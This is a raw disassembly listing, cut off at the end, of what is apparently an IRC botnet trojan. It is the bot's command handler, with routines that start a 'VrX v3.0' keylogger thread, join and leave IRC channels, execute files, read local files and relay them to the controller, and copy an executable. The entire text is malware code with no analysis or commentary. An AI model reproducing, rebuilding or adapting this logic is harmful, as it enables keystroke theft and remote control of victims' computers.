XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] push offset aDarksf ; "Darksf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h call near ptr 26D0000h nop push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_4167A0 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h call near ptr 26A068Bh nop jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj nop call near ptr 26B0669h push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A440 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax nop call near ptr 26A068Bh loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A404 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D0 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A39C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset byte_414F57 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h call near ptr 26A068Bh nop jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j call near ptr 26B0669h nop push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A334 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset byte_414703 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h nop call near ptr 26A068Bh jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej nop call near ptr 26B0669h push eax push offset dword_42A2F8 loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2DC push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C0 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2B8 push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A24C push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax nop call near ptr 26A068Bh push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A968 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C0 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A190 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A178 push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_4126A7 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h nop call near ptr 26A068Bh jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j nop call near ptr 26B0669h push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A03C push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A000 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FE8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h nop call near ptr 26A068Bh jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j nop call near ptr 26B0669h push eax push offset unk_429FA8 loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_1 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_4161C1 push ebx push ebx call near ptr 26A06F9h nop mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h call near ptr 26A068Bh nop jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi nop call near ptr 26A0927h test eax, eax jz short loc_4091C7 push edi push offset dword_429F50 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429EFC loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E8C push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 pop ecx pop ecx push 1F4h nop call near ptr 26A068Bh push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E924[eax] nop call near ptr 26C05DFh push edi call sub_41C159 imul eax, 234h push edi mov dword_43E924[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb 